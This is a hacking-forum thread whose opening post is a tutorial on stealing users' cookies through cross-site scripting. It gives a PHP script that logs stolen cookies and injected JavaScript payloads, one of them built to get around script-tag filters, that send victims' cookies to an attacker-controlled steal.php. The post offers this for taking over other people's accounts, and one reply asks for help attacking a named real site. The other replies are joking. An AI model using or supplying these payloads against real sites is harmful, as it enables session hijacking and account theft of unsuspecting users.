Thread: cookie stealing

Results 1 to 7 of 7
  1. #1
    ace76543's Avatar
    Join Date
    Jan 2006
    Gender
    male
    Location
    next to iverson
    Posts
    5,661
    Reputation
    14
    Thanks
    304

    cookie stealing

    Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).
    Why is the cookie so important? Well, first you should see exactly what sort of
    information is stored in a cookie. Go to a website that requires a login, and after
    logging in erase everything in your address bar and type this line of code:


    Code:
    javascript:alert(documen*****okie)
    After you press enter, you should see a pop-up window with some information in it
    (that is, if this site uses cookies). This is the data that is stored in your cookie. Here's an

    example of what might be in your cookie:



    Code:
    username=CyberPhreak; password=ilikepie
    This is, of course, a very insecure cookie. If any sort of vulnerability was found that
    allowed for someone to view other people's cookies, every user account is possibly
    compromised. You'll be hard-pressed to find a site with cookies like these. However, it
    is very common (unfortunately) to find sites with hashes of passwords within the cookie.
    The reason that this is unfortunate is because hashes can be cracked, and oftentimes
    just knowing the hash is enough.

    Now you know why cookies are important; they usually have important information about the
    user in them. But how would we go about getting or changing other users' cookies? This is
    the process of cookiestealing.

    Cookiestealing is a two-part process. You need to have a script to accept the cookie, and
    you need to have a way of sending the cookie to your script. Writing the script to accept
    the cookie is the easy part, whereas finding a way to send it to your script is the hard
    part. I'll show you an example of a pHp script that accepts cookies:



    Code:
    <?php
    $cookie = $_GET['cookie'];
    $log = fopen("log.txt", "a");
    fwrite($log, $cookie ."\n");
    fclose($log);
    ?>
    And there you have it, a simple cookiestealer. The way this script works is that it accepts
    the cookie when it is passed as a variable, in this case 'cookie' in the URL, and then
    saves it to a file called 'log.txt'. For example:


    Code:
    https://yoursite.com/steal.php?cookie=
    steal.php is the filename of the script we just wrote, ? lets the script know that we are
    going to pass some variables to it, and after that we can set cookie equal to whatever
    we want, but what we want to do is set cookie equal to the cookie from the site. This
    is the second and harder part of the cookiestealer.

    Most websites apply some sort of filter to input, so that you can't directly insert your
    own code. XSS deals with finding exploits within filters, allowing you to put your own
    code into a website. This might sound difficult, and in most cases it's not easy, but
    it can be very simple.

    Any website that allows you to post text potentially allows you to insert your own code
    into the website. Some examples of these types of sites are forums, guestbooks, any site
    with a "member profile", etc. And any of these sites that have users who log in also
    probably use cookies. Now you know what sort of sites might be vulnerable to
    cookiestealing.

    Let's assume that we have a website that someone made. This website has user login
    capability as well as a guestbook. And let's also assume that this website doesn't have
    any kind of filtering on what can be put into the guestbook. This means that you can
    put HTML and Javascript directly into your post in the guestbook. I'll give you an
    example of some code that we could put into a guestbook post that would send the user's
    cookie to out script:


    Code:
    <script>
    document.location = 'https://yoursite.com/steal.php?cookie=' + documen*****okie;
    </script>
    Now whenever someone views the page that you posted this on, they will be redirected to
    your script with their cookie from this site in the URL. If you were to look at log.txt
    now, you'd see the cookies of whoever looked at that page.

    But cookiestealing is never that easy. Let's assume now that the administrator of this
    site got smart, and decided to filter out script tags. Now you code doesn't work, so
    we have to try and evade the filter. In this instance, it's easy enough:


    Code:
    <a href="javascript:void(document.location='https://yoursite.com/steal.php?cookie='+
    documen*****okie)">Click Me</a>
    In this case, when the user clicks on the link they will be sent to your stealer with their
    cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get
    around filters.

  2. The Following User Says Thank You to ace76543 For This Useful Post:

    zioflippo (02-04-2009)

  3. #2
    SadisticGrin's Avatar
    Join Date
    Jan 2006
    Gender
    male
    Location
    Behind you.
    Posts
    1,428
    Reputation
    10
    Thanks
    125
    ok....mr cookie theif.
    tppc.com

    i'm trying to haxor it for my little cousin. :P help me out boss.
    [CENTER]
    The Grin is in.
    [IMG]https://i33.photobucke*****m/albums/d74/sadisticgrin/The-grincopy.png[/IMG]
    I AM the Influence.

  4. #3
    EleMentX's Avatar
    Join Date
    Jan 2006
    Location
    de_dust2
    Posts
    3,451
    Reputation
    12
    Thanks
    591
    did u write that or just copy it and look like u did it..

  5. #4
    i eat trees's Avatar
    Join Date
    Dec 2005
    Gender
    male
    Location
    RACISM
    Posts
    1,420
    Reputation
    54
    Thanks
    187
    nifty NGGNHBJ

    my sig is smaller then half the sigs on mpgh

  6. #5
    iverson954360's Avatar
    Join Date
    Jan 2006
    Gender
    male
    Posts
    10,280
    Reputation
    940
    Thanks
    1,656
    My Mood
    Dead
    brad u not going to touch my cookies or ill kill u, then share it with ur dead body D:
    Hip Hop thread Part 1 (No Longer Updated): https://www.mpgh.net/forum/316-music-...-hop-list.html
    Part 2 (No Longer Updated): https://www.mpgh.net/forum/2-general/...ad-pt-2-a.html
    Part 3: COMING SOON











  7. #6
    sf0d's Avatar
    Join Date
    Dec 2005
    Location
    Hi
    Posts
    519
    Reputation
    -2
    Thanks
    46
    lol ilikepie, try 247a897d77f87d8f7df7

  8. #7
    SadisticGrin's Avatar
    Join Date
    Jan 2006
    Gender
    male
    Location
    Behind you.
    Posts
    1,428
    Reputation
    10
    Thanks
    125
    yeah I see how it is ace. :P all like`
    "yo boss I know what im doing"
    then you wont even haxor pokemon for my little cousin. `pfft

    damn that ` button. >.<

    im

    DRUNK
    [CENTER]
    The Grin is in.
    [IMG]https://i33.photobucke*****m/albums/d74/sadisticgrin/The-grincopy.png[/IMG]
    I AM the Influence.

Similar Threads

  1. steal someones warrock account!!
    By llvengancell in forum WarRock - International Hacks
    Replies: 17
    Last Post: 08-07-2007, 04:57 AM
  2. Cookies 4 Everyone
    By AthlaS in forum Spammers Corner
    Replies: 18
    Last Post: 02-25-2007, 11:46 AM
  3. Cookies
    By Severed in forum Spammers Corner
    Replies: 7
    Last Post: 12-11-2006, 05:34 PM
  4. Stealing Flash Templates from Template Monster.
    By sf0d in forum Spammers Corner
    Replies: 4
    Last Post: 09-06-2006, 05:26 PM
  5. Vehicle Stealing and Vehicle auto-destroy in Havana
    By Zededarian in forum Game Hacking Tutorials
    Replies: 0
    Last Post: 01-02-2006, 04:34 PM